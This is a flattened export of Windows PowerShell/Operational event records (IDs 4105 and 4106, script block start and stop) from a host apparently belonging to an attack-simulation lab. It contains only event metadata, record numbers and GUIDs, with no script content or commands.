410615103150x0672596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 